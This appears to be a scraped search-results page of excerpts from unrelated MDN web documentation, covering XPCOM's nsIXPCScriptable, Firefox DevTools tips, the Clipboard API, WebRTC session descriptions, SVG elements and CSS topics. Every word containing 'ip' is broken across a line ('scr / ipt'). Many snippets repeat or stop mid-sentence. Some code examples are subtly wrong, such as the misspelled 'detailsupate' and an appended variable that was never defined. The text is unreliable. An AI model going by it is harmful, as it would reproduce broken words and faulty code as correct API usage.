note: this is not really an xpcom interface. for example, callers must guarantee that they set the *_retval of the various methods that return a boolean to pr_true before making the call. implementations may sk
ip writing to *_retval unless they want to return pr_false. js/src/xpconnect/idl/nsixpcscr
iptable.idlnot scr
iptable please add a summary to this article. last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void precreate(in nsisupports nativeobj, in jscontextptr cx, in jsobjectptr globalobj, out jsobjectptr parentobj); void create(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); void postcreate(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr ...
...ectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in jsval val); jsobjectptr outerobject(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); jsobjectptr innerobject(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); void postcreateprototype(in jscontextptr cx, in jsobjectptr proto); attributes attribute type descr
iption classname string scr
iptableflags pruint32 the bitwise or'd set of flags (define below) that indicate the behavior of this object. constants constant value descr
iption want_precreate 1 << 0 want_create 1 << 1 want_postcreate 1 << 2 want_addproperty 1 << 3 want_delproperty 1 << 4 want_getproperty 1 << 5 want_setproperty 1 << 6 want_enumerate 1 << 7 ...
.... want_convert 1 << 10 want_finalize 1 << 11 want_checkaccess 1 << 12 want_call 1 << 13 want_construct 1 << 14 want_hasinstance 1 << 15 want_trace 1 << 16 use_jsstub_for_addproperty 1 << 17 use_jsstub_for_delproperty 1 << 18 use_jsstub_for_setproperty 1 << 19 dont_enum_static_props 1 << 20 dont_enum_query_interface 1 << 21 dont_ask_instance_for_scr
iptable 1 << 22 classinfo_interfaces_only 1 << 23 allow_prop_mods_during_resolve 1 << 24 allow_prop_mods_to_prototype 1 << 25 dont_share_prototype 1 << 26 dont_reflect_interface_names 1 << 27 want_equality 1 << 28 want_outer_object 1 << 29 want_inner_object 1 << 30 reserved 1 << 31 the high order bit is reserved for consumers of these flags. no implementor of this...
...id vp return value ns_success_i_did_something if this method does something. enumerate() prbool enumerate( in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj ); parameters wrapper cx obj return value newenumerate() this method is called when the want_newenumerate flag is set. it allows the object to implement the for..in enumeration in javascr
ipt. this is very similar to jsclass.enumerate. prbool newenumerate( in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in pruint32 enum_op, in jsvalptr statep, out jsid idp ); parameters wrapper cx the pointer to the jscontext newenumerate is being called from. obj the pointer to the jsobject being enumerated. enum_op indicates what statep and...
XPCOM ownership guidelines
this is terrific for factory functions, but can be problematic for mere getters. ...
...this is terrific for factory functions, but can be problematic for mere getters. ...
...this is terrific for factory functions, but can be problematic for mere getters. it's unfortunate if you just needed access to it for a moment. ...
...facto owner. this may not be appropriate; and it may be hard to remedy without knowing if the object in question was truly created in response to your query. needing it isn't, by itself, a valid reason for owning it. you don't own an object because you need it. in fact often you own it because it needs you. if you own it, it shouldn't own you. even transitively. or put another way: the ownersh
ip graph for any system should be acyclic. anytime there is a cycle of ownersh
ip, there is a situation that isn't automatically handled by destructors. special code must be provided and called to break the cycle before the partic
ipants can be individually released. you don't need to own it if it's lifetime is guaranteed to be longer than yours. as for instance, when it owns you. parents own their...
Tips - Firefox Developer Tools
() next to the element{} rule to lock the highlighter on the current element. right-click any property and select "show mdn docs" to view the mdn docs for this property. click on the filter icon () next to an overridden property to find which other property overrides it. right-click on a name, value, or rule to copy anything from the name, the value, the declaration or the whole rule to your cl
ipboard. web console in all panels: esc opens the split console; useful when debugging, or inspecting nodes in the command line: $0 references the currently selected node. $() is a shortcut to document.queryselector(). $$() returns an array with the results from document.queryselectorall(). copy copies anything as a string. right-click a node in the inspector and click "use in console...
...onsole; useful when debugging, or inspecting nodes in the command line: $0 references the currently selected node. $() is a shortcut to document.queryselector(). $$() returns an array with the results from document.queryselectorall(). copy copies anything as a string. right-click a node in the inspector and click "use in console" to create a tempn variable for it. cd switches the javascr
ipt evaluation context to a different iframe in the page. console.table() displays tabular data as table. help opens the mdn page describing the available commands. :screenshot <filename.png> --fullpage saves a screenshot to your downloads directory using the optional file name. if no filename is included, the file name will be in this format: screen shot date at time.png the --fullpage...
...to it as well. see web console helpers for all parameters. in the console output: click on the inspector icon () next to an element in the output to select it within the inspector. check "enable persistent logs" in the settings to keep logged messages from before even after navigation. check "enable timestamps" in the settings to show timestamps besides the logged messages. debugger sk
ip javascr
ipt libraries in debugging sessions via the black box icon (). press ctrl+alt+f to search in all scr
ipts. press ctrl+d to search for a function definition. press ctrl+l to go to a specific line. style editor the black box icon () in the style sheet pane toggles the visibility of a style sheet. click an @media rule to apply it in responsive design mode. click the import button () ...
... display of css preprocessor files. network monitor click the request summary to compare performance of cache vs. no-cache page loading. when a request is selected click "edit and resend" to modify its headers and send it again. check "enable persistent logs" in the settings to keep requests from before even after navigation. hover the "js" icon within the "cause" column to see the javascr
ipt stack trace, which caused the request. check "disable http cache (when toolbox is open)" in the settings to disable the network cache while debugging network issues. storage inspector right-click the column headers to open a menu allowing to toggle the display of the columns. right-click an entry and click "delete name" to delete it or "delete all" to delete all entries. select an entry ...
ClipboardItem() - Web APIs
the cl
ipboarditem() constructor of the cl
ipboard api creates a new cl
ipboarditem object which represents data to be stored or retrieved via the cl
ipboard api, that is cl
ipboard.write() and cl
ipboard.read() respectively. note: image format support varies by browser. see the browser compatibility table for the cl
ipboard interface. syntax var cl
ipboarditem = new cl
ipboarditem(cl
ipboarditemdata); parameters cl
ipboarditemdata an object with the mime type as the key and blob as the value. note: to work with text see the cl
ipboard.readtext() and cl
ipboard.writetext() methods of the cl
ipboard interface. ...
...
ipboarditem = new cl
ipboarditem(cl
ipboarditemdata); parameters cl
ipboarditemdata an object with the mime type as the key and blob as the value. note: to work with text see the cl
ipboard.readtext() and cl
ipboard.writetext() methods of the cl
ipboard interface. examples the below example requests a png image using the fetch api, and in turn, the responses' blob() method, to create a new cl
ipboarditem and write it to the cl
ipboard, using the cl
ipboard api. note: you can only pass in one cl
ipboard item at a time. ...
... note: to work with text see the cl
ipboard.readtext() and cl
ipboard.writetext() methods of the cl
ipboard interface. examples the below example requests a png image using the fetch api, and in turn, the responses' blob() method, to create a new cl
ipboarditem and write it to the cl
ipboard, using the cl
ipboard api. note: you can only pass in one cl
ipboard item at a time. ...
...ests a png image using the fetch api, and in turn, the responses' blob() method, to create a new cl
ipboarditem and write it to the cl
ipboard, using the cl
ipboard api. note: you can only pass in one cl
ipboard item at a time. async function writecl
ipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.cl
ipboard.write([ new cl
ipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } specifications specification status comment cl
ipboard api and eventsthe definition of 'cl
ipboarditem' in that specification. working draft initial definition. ...
Clipboard API - Web APIs
the cl
ipboard api provides the ability to respond to cl
ipboard commands (cut, copy, and paste) as well as to asynchronously read from and write to the system cl
ipboard. access to the contents of the cl
ipboard is gated behind the permissions api: the cl
ipboard-write permission is granted automatically to pages when they are in the active tab. the cl
ipboard-read permission must be requested, which you can do by trying to read data from the cl
ipboard. this api is designed to supersede accessing the cl
ipboard using document.execcommand(). ...
...l
ipboard. access to the contents of the cl
ipboard is gated behind the permissions api: the cl
ipboard-write permission is granted automatically to pages when they are in the active tab. the cl
ipboard-read permission must be requested, which you can do by trying to read data from the cl
ipboard. this api is designed to supersede accessing the cl
ipboard using document.execcommand(). accessing the cl
ipboard instead of creating a cl
ipboard object through instantiation, you access the system cl
ipboard through the navigator.cl
ipboard global: navigator.cl
ipboard.readtext().then( cl
iptext => document.queryselector(".editor").innertext += cl
iptext); this sn
ippet fetches the text from the cl
ipboard and appends it to the first element found with the class editor. since readtext() (and read(), for ...
...through instantiation, you access the system cl
ipboard through the navigator.cl
ipboard global: navigator.cl
ipboard.readtext().then( cl
iptext => document.queryselector(".editor").innertext += cl
iptext); this sn
ippet fetches the text from the cl
ipboard and appends it to the first element found with the class editor. since readtext() (and read(), for that matter) returns an empty string if the cl
ipboard isn't text, this code is safe. interfaces cl
ipboard secure context provides an interface for reading and writing text and data to or from the system cl
ipboard. the specification refers to this as the 'async cl
ipboard api.' cl
ipboardevent secure context represents events providing information related to modification of the cl
ipboard, that is cut, copy, and paste events. the specificati...
...is safe. interfaces cl
ipboard secure context provides an interface for reading and writing text and data to or from the system cl
ipboard. the specification refers to this as the 'async cl
ipboard api.' cl
ipboardevent secure context represents events providing information related to modification of the cl
ipboard, that is cut, copy, and paste events. the specification refers to this as the 'cl
ipboard event api'. cl
ipboarditem secure context represents a single item format, used when reading or writing data. specifications specification status comment cl
ipboard api and events working draft initial definition. ...
Document.currentScript - Web APIs
the document.currentscr
ipt property returns the <scr
ipt> element whose scr
ipt is currently being processed and isn't a javascr
ipt module. (for modules use import.meta instead.) it's important to note that this will not reference the <scr
ipt> element if the code in the scr
ipt is being called as a callback or event handler; it will only reference the element while it's initially being processed. ...
...entscr
ipt property returns the <scr
ipt> element whose scr
ipt is currently being processed and isn't a javascr
ipt module. (for modules use import.meta instead.) it's important to note that this will not reference the <scr
ipt> element if the code in the scr
ipt is being called as a callback or event handler; it will only reference the element while it's initially being processed. ...
...scr
ipt> element whose scr
ipt is currently being processed and isn't a javascr
ipt module. (for modules use import.meta instead.) it's important to note that this will not reference the <scr
ipt> element if the code in the scr
ipt is being called as a callback or event handler; it will only reference the element while it's initially being processed. ...
...ssed and isn't a javascr
ipt module. (for modules use import.meta instead.) it's important to note that this will not reference the <scr
ipt> element if the code in the scr
ipt is being called as a callback or event handler; it will only reference the element while it's initially being processed. syntax var curscr
iptelement = document.currentscr
ipt; example this example checks to see if the scr
ipt is being executed asynchronously: if (document.currentscr
ipt.async) { console.log("executing asynchronously"); } else { console.log("executing synchronously"); } view live examples specifications specification status comment html living standardthe definition of 'document.currentscr
ipt' in that specification. living standard initial definition ...
HTMLScriptElement.referrerPolicy - Web APIs
no referrer information is sent along with requests. no-referrer-when-downgrade (default) this is the user agent's default behavior if no policy is specified. the url is sent as a referrer when the protocol security level stays the same (e.g.http->http, https->https), but isn't sent to a less secure destination (e.g. https->http). ...
.... unsafe-url send a full url when performing a same-origin or cross-origin request. this policy will leak origins and paths from tls-protected resources to insecure origins. carefully consider the impact of this setting. note: an empty string value ("") is both the default value, and a fallback value if referrerpolicy is not supported. ...
... value ("") is both the default value, and a fallback value if referrerpolicy is not supported. if referrerpolicy is not explicitly specified on the <scr
ipt> element, it will adopt a higher-level referrer policy, i.e. one set on the whole document or domain. if a higher-level policy is not available, the empty string is treated as being equivalent to no-referrer-when-downgrade. examples var scr
iptelem = document.createelement("scr
ipt"); scr
iptelem.src = "/"; scr
iptelem.referrerpolicy = "unsafe-url"; document.body.appendchild(scr
ipt); specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification. candidate recommendation added the referrerpolicy attribute. html living standardthe d...
... living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
Navigator.clipboard - Web APIs
the cl
ipboard api adds to the navigator interface the read-only cl
ipboard property, which returns the cl
ipboard object used to read and write the cl
ipboard's contents. the cl
ipboard api can be used to implement cut, copy, and paste features within a web application. use of the asynchronous cl
ipboard read and write methods requires that the user grant the web site or app permission to access the cl
ipboard. this permission must be obtained from the permissions api using the "cl
ipboard-read" and/or "cl
ipboard-write" permissions. syntax thecl
ipboard = navigator.cl
ipboard; value the cl
ipboard object used to access the system cl
ipboard. examples the following code uses navigator.cl
ipboard to access the system cl
ipboard in order to read the contents of the cl
ipboard. ...
...ss the cl
ipboard. this permission must be obtained from the permissions api using the "cl
ipboard-read" and/or "cl
ipboard-write" permissions. syntax thecl
ipboard = navigator.cl
ipboard; value the cl
ipboard object used to access the system cl
ipboard. examples the following code uses navigator.cl
ipboard to access the system cl
ipboard in order to read the contents of the cl
ipboard. navigator.cl
ipboard.readtext().then( cl
iptext => document.queryselector(".cl
iptext").innertext = cl
iptext); this sn
ippet replaces the contents of the element whose class is "cl
iptext" with the text contents of the cl
ipboard. perhaps this code is being used in a browser extension that displays the current cl
ipboard contents, automatically updating periodically or when specific events fire. ...
... working draft initial definition. ...
...ument.queryselector(".cl
iptext").innertext = cl
iptext); this sn
ippet replaces the contents of the element whose class is "cl
iptext" with the text contents of the cl
ipboard. perhaps this code is being used in a browser extension that displays the current cl
ipboard contents, automatically updating periodically or when specific events fire. if the cl
ipboard is empty or doesn't contain text, the "cl
iptext" element's contents are cleared. this happens because readtext() returns an empty string if the cl
ipboard is empty or doesn't contain text. specifications specification status comment cl
ipboard api and eventsthe definition of 'navigator.cl
ipboard' in that specification. working draft initial definition. ...
PaymentRequest: shippingaddresschange event - Web APIs
the sh
ippingaddresschange event is sent to the paymentrequest object when the user selects a sh
ipping address or changes details of their sh
ipping address. bubbles no cancelable no interface paymentrequestupdateevent event handler property onsh
ippingaddresschange usage notes depending on the browser, the sh
ipping address information may be redacted for privacy reasons. that is, the paymentaddress which contains the sh
ipping address may have some portions of its content altered, obscured, or left out entirely in order to prevent identifying the user without their consent (since if they choose to have you sh
ip products to them, you'll need their address). ...
...pping address information may be redacted for privacy reasons. that is, the paymentaddress which contains the sh
ipping address may have some portions of its content altered, obscured, or left out entirely in order to prevent identifying the user without their consent (since if they choose to have you sh
ip products to them, you'll need their address). example in this example, a handler for the sh
ippingaddresschange event is set up to validate that the address meets requirements set by the web application. ...
...nt identifying the user without their consent (since if they choose to have you sh
ip products to them, you'll need their address). example in this example, a handler for the sh
ippingaddresschange event is set up to validate that the address meets requirements set by the web application. const paymentrequest = new paymentrequest(methoddata, details, options); paymentrequest.addeventlistener("sh
ippingaddresschange", event => { let detailsupdate = checkaddress(paymentrequest.sh
ippingaddress); event.updatewith(detailsupate); }, false); const checkaddress = theaddress => { let detailsupdate = {}; // check the address, return a paymentdetailsupdate object // with any changes or errors. ...
...quest.addeventlistener("sh
ippingaddresschange", event => { let detailsupdate = checkaddress(paymentrequest.sh
ippingaddress); event.updatewith(detailsupate); }, false); const checkaddress = theaddress => { let detailsupdate = {}; // check the address, return a paymentdetailsupdate object // with any changes or errors. return detailsupdate; }; you can also establish a handler for sh
ippingaddresschange using the onsh
ippingaddresschange event handler property: paymentrequest.onsh
ippingaddresschange = event => { let detailsupdate = checkaddress(paymentrequest.sh
ippingaddress); event.updatewith(detailsupdate); }; specifications specification status comment payment request apithe definition of 'sh
ippingaddresschange' in that specification. candidat...
PushSubscription - Web APIs
the pushsubscr
iption interface of the push api provides a subcr
iption's url endpoint and allows unsubscr
iption from a push service. an instance of this interface can be serialized. properties pushsubscr
iption.endpoint read only a usvstring containing the endpoint associated with the push subscr
iption. pushsubscr
iption.expirationtime read only a domhighrestimestamp of the subscr
iption expiration time associated with the push subscr
iption, if there is one, or null otherwise. pushsubscr
iption.options read only an object containing the options used to create the subscr
iption. pushsubscr
iption.subscr
iptionid read only a domstring containing the subscr
iption id associated with the push subscr
iption. ...
...only a domhighrestimestamp of the subscr
iption expiration time associated with the push subscr
iption, if there is one, or null otherwise. pushsubscr
iption.options read only an object containing the options used to create the subscr
iption. pushsubscr
iption.subscr
iptionid read only a domstring containing the subscr
iption id associated with the push subscr
iption. methods pushsubscr
iption.getkey() returns an arraybuffer which contains the client's public key, which can then be sent to a server and used in encrypting push message data. pushsubscr
iption.tojson() standard serializer -- returns a json representation of the subscr
iption properties. ...
... read only a domstring containing the subscr
iption id associated with the push subscr
iption. methods pushsubscr
iption.getkey() returns an arraybuffer which contains the client's public key, which can then be sent to a server and used in encrypting push message data. pushsubscr
iption.tojson() standard serializer -- returns a json representation of the subscr
iption properties. pushsubscr
iption.unsubscribe() starts the asynchronous process of unsubscribing from the push service, returning a promise that resolves to a boolean when the current subscr
iption is successfully unregistered. ...
...ion.tojson() standard serializer -- returns a json representation of the subscr
iption properties. pushsubscr
iption.unsubscribe() starts the asynchronous process of unsubscribing from the push service, returning a promise that resolves to a boolean when the current subscr
iption is successfully unregistered. example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.getsubscr
iption().then(function(subscr
iption) { subscr
iption.unsubscribe().then(function(successful) { // you've successfully unsubscribed }).catch(function(e) { // unsubscr
iption failed }) }) }); specifications specification status comment push apithe definition of 'pushsubscr
iption' in that specification. working draft initial definition ...
RTCIceCandidatePairStats.currentRoundTripTime - Web APIs
this value is computed by observing the time that elapsed between the most recent stun request being sent to the remote peer and the response to that request arriving. ...
... this value is computed by observing the time that elapsed between the most recent stun request being sent to the remote peer and the response to that request arriving. ...
... this value is computed by observing the time that elapsed between the most recent stun request being sent to the remote peer and the response to that request arriving. ...
...quest being sent to the remote peer and the response to that request arriving. this information may come from ongoing stun connectivity checks as well as from consent requests made when the connection was initially being opened. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.currentroundtr
iptime' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.currentLocalDescription - Web APIs
the read-only property rtcpeerconnection.currentlocaldescr
iption returns an rtcsessiondescr
iption object describing the local end of the connection as it was most recently successfully negotiated since the last time the rtcpeerconnection finished negotiating and connecting to a remote peer. also included is a list of any ice candidates that may already have been generated by the ice agent since the offer or answer represented by the descr
iption was first instantiated. to change the currentlocaldescr
iption, call rtcpeerconnection.setlocaldescr
iption(), which triggers a series of events which leads to this value being set. for details on what exactly happens and why the change isn't necessarily instantaneous, see pending and current descr
iptions in webrtc connectivity. unlike rtcpeerconne...
...r represented by the descr
iption was first instantiated. to change the currentlocaldescr
iption, call rtcpeerconnection.setlocaldescr
iption(), which triggers a series of events which leads to this value being set. for details on what exactly happens and why the change isn't necessarily instantaneous, see pending and current descr
iptions in webrtc connectivity. unlike rtcpeerconnection.localdescr
iption, this value represents the actual current state of the local end of the connection; localdescr
iption may specify a descr
iption which the connection is currently in the process of switching over to. syntax sessiondescr
iption = rtcpeerconnection.currentlocaldescr
iption; return value the current descr
iption of the local end of the connection, if one has been set. if none has been successful...
...ection; localdescr
iption may specify a descr
iption which the connection is currently in the process of switching over to. syntax sessiondescr
iption = rtcpeerconnection.currentlocaldescr
iption; return value the current descr
iption of the local end of the connection, if one has been set. if none has been successfully set, this value is null. example this example looks at the currentlocaldescr
iption and displays an alert containing the rtcsessiondescr
iption object's type and sdp fields. var pc = new rtcpeerconnection(); ... ...
...ection.currentlocaldescr
iption; return value the current descr
iption of the local end of the connection, if one has been set. if none has been successfully set, this value is null. example this example looks at the currentlocaldescr
iption and displays an alert containing the rtcsessiondescr
iption object's type and sdp fields. var pc = new rtcpeerconnection(); ... var sd = pc.currentlocaldescr
iption; if (sd) { alert("local session: type='" + sd.type + "'; sdp descr
iption='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.currentlocaldescr
iption' in that specification. candidate recommendation...
RTCPeerConnection.currentRemoteDescription - Web APIs
the read-only property rtcpeerconnection.currentremotedescr
iption returns an rtcsessiondescr
iption object describing the remote end of the connection as it was most recently successfully negotiated since the last time the rtcpeerconnection finished negotiating and connecting to a remote peer. also included is a list of any ice candidates that may already have been generated by the ice agent since the offer or answer represented by the descr
iption was first instantiated. to change the currentremotedescr
iption, call rtcpeerconnection.setremotedescr
iption(), which triggers a series of events which leads to this value being set. for details on what exactly happens and why the change isn't necessarily instantaneous, see pending and current descr
iptions in webrtc connectivity. unlike rtcpeerco...
...epresented by the descr
iption was first instantiated. to change the currentremotedescr
iption, call rtcpeerconnection.setremotedescr
iption(), which triggers a series of events which leads to this value being set. for details on what exactly happens and why the change isn't necessarily instantaneous, see pending and current descr
iptions in webrtc connectivity. unlike rtcpeerconnection.remotedescr
iption, this value represents the actual current state of the local end of the connection; remotedescr
iption may specify a descr
iption which the connection is currently in the process of switching over to. syntax sessiondescr
iption = rtcpeerconnection.currentremotedescr
iption; return value the current descr
iption of the remote end of the connection, if one has been set. if none has been success...
...on; remotedescr
iption may specify a descr
iption which the connection is currently in the process of switching over to. syntax sessiondescr
iption = rtcpeerconnection.currentremotedescr
iption; return value the current descr
iption of the remote end of the connection, if one has been set. if none has been successfully set, this value is null. example this example looks at the currentremotedescr
iption and displays an alert containing the rtcsessiondescr
iption object's type and sdp fields. var pc = new rtcpeerconnection(); ... ...
...on.currentremotedescr
iption; return value the current descr
iption of the remote end of the connection, if one has been set. if none has been successfully set, this value is null. example this example looks at the currentremotedescr
iption and displays an alert containing the rtcsessiondescr
iption object's type and sdp fields. var pc = new rtcpeerconnection(); ... var sd = pc.currentremotedescr
iption; if (sd) { alert("local session: type='" + sd.type + "'; sdp descr
iption='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.currentremotedescr
iption' in that specification. candidate recommendatio...
SVGClipPathElement - Web APIs
the svgcl
ippathelement interface provides access to the properties of <cl
ippath> elements, as well as methods to man
ipulate them. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,3...
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcl
ippathelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcl
ippathelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this...
...ill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcl
ippathelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement. svgcl
ippathelement.cl
ippathunits read only an svganimatedenumeration corresponding to the cl
ippathunits attribute of the given <cl
ippath> element. takes one of the constants defined in svgunittypes. methods this interface doesn't implement any specific methods, but inherits methods from its parent, svgelement. specifications specification status comment css masking module l...
... only an svganimatedenumeration corresponding to the cl
ippathunits attribute of the given <cl
ippath> element. takes one of the constants defined in svgunittypes. methods this interface doesn't implement any specific methods, but inherits methods from its parent, svgelement. specifications specification status comment css masking module level 1the definition of 'svgcl
ippathelement' in that specification. candidate recommendation removed the inheritance from svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, svgtransformable, and svgunittypes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcl
ippathelement' in that specification. recommendation initial definition ...
SVGScriptElement - Web APIs
the svgscr
iptelement interface corresponds to the svg <scr
ipt> element. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1...
...co,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgscr
iptelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgscr
iptelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgscri...
...#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgscr
iptelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgscr
iptelement.type read only a domstring corresponding to the type attribute of the given <scr
ipt> element. a domexception is raised with the code no_modification_allowed_err on an attempt to change the value of a read only attribut. svgscr
iptelement.crossorigin read only a domstring corresponding to the crossorigin attribute of the given <scr
ipt> element. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. specifi...
...ead only attribut. svgscr
iptelement.crossorigin read only a domstring corresponding to the crossorigin attribute of the given <scr
ipt> element. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgscr
iptelement' in that specification. candidate recommendation removed the implemented interface svgexternalresourcesrequired and added the crossorigin property. scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgscr
iptelement' in that specification. recommendation initial definition ...
XRPermissionDescriptor.optionalFeatures - Web APIs
the xrpermissiondescr
iptor dictionary's optionalfeatures property is used to specify a list of webxr features which your app or site would like to use but can operate without if permission isn't granted to use them. syntax xrpermissiondescr
iptor = { mode: xrsessionmode, requiredfeatures: reqfeaturelist, optionalfeatures: optfeaturelist }; xrpermissiondescr
iptor.optionalfeatures = optfeaturelist; optfeaturelist = xrpermissiondescr
iptor.optionalfeatures; value an array of strings taken from the xrreferencespacetype enumerated type, indicating set of features that your app would like to use, but can operate without if permission to use them isn't available. while further features may be defined in future editions of webxr, currently all permitted values come from the xrreferenc...
...rmitted values come from the xrreferencespacetype enumerated type, indicating reference spaces the app rquires to be available. the reference space returned by xrsession.requestreferencespace() is either xrreferencespace or xrboundedreferencespace. the "interface" column in the table below indicates which of the two types is returned for each reference space type constant.. ...
...ther xrreferencespace or xrboundedreferencespace. the "interface" column in the table below indicates which of the two types is returned for each reference space type constant.. reference space descr
iptors the types of reference space are listed in the table below, with brief information about their use cases and which interface is used to implement them. xrreferencespacetype descr
iption interface bounded-floor similar to the local type, except the user is not expected to move outside a predetermined boundary, given by the boundsgeometry in the returned object. xrboundedreferencespace local a tracking space whose native origin is located near the viewer's position at the time the session was created. the exact position depends on the und...
... working draft initial definition. ...
scripting - CSS: Cascading Style Sheets
the scr
ipting css media feature can be used to test whether scr
ipting (such as javascr
ipt) is available. syntax the scr
ipting feature is specified as a keyword value chosen from the list below. none scr
ipting is completely unavailable on the current document. initial-only scr
ipting is enabled during the initial page load, but not afterwards. enabled scr
ipting is supported and active on the current document. examples html <p class="scr
ipt-none">you do not have scr
ipting available. :-(</p> <p class="scr
ipt-initial-only">your scr
ipting is only enabled during the initial page load. ...
...etely unavailable on the current document. initial-only scr
ipting is enabled during the initial page load, but not afterwards. enabled scr
ipting is supported and active on the current document. examples html <p class="scr
ipt-none">you do not have scr
ipting available. :-(</p> <p class="scr
ipt-initial-only">your scr
ipting is only enabled during the initial page load. ...
...current document. initial-only scr
ipting is enabled during the initial page load, but not afterwards. enabled scr
ipting is supported and active on the current document. examples html <p class="scr
ipt-none">you do not have scr
ipting available. :-(</p> <p class="scr
ipt-initial-only">your scr
ipting is only enabled during the initial page load. ...
...ial page load, but not afterwards. enabled scr
ipting is supported and active on the current document. examples html <p class="scr
ipt-none">you do not have scr
ipting available. :-(</p> <p class="scr
ipt-initial-only">your scr
ipting is only enabled during the initial page load. weird.</p> <p class="scr
ipt-enabled">you have scr
ipting enabled! :-)</p> css p { color: lightgray; } @media (scr
ipting: none) { .scr
ipt-none { color: red; } } @media (scr
ipting: initial-only) { .scr
ipt-initial-only { color: red; } } @media (scr
ipting: enabled) { .scr
ipt-enabled { color: red; } } result specifications specification status comment media queries level 5the definition of 'scr
ipting' in that specification. editor's draft initial def...
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
of how this will impact our flex layouts as writing mode changes the direction that blocks are laid out in our document. understanding block and inline directions is key to new layout methods. it is worth noting that we might want to change the writing mode of our document for reasons other than publishing content in a language that uses a different writing mode. see this article for a full descr
iption of writing modes and ways to use them, both for content in other languages and for creative reasons. the writing modes the writing modes specification defines the following values of the writing-mode property, which serve to change the direction that blocks are laid out on the page, to match the direction that blocks lay out when content is formatted in that particular writing mode. you ca...
...g css grid layout. it isn't the case that you should use flexbox for small components and grid layout for larger ones; a tiny component can be two dimensional, and a large layout can be represented better with layout in one dimension. try things out -- we have a choice in layout method for the first time, so take advantage of it. for more comparisons of grid and flexbox see the article relationsh
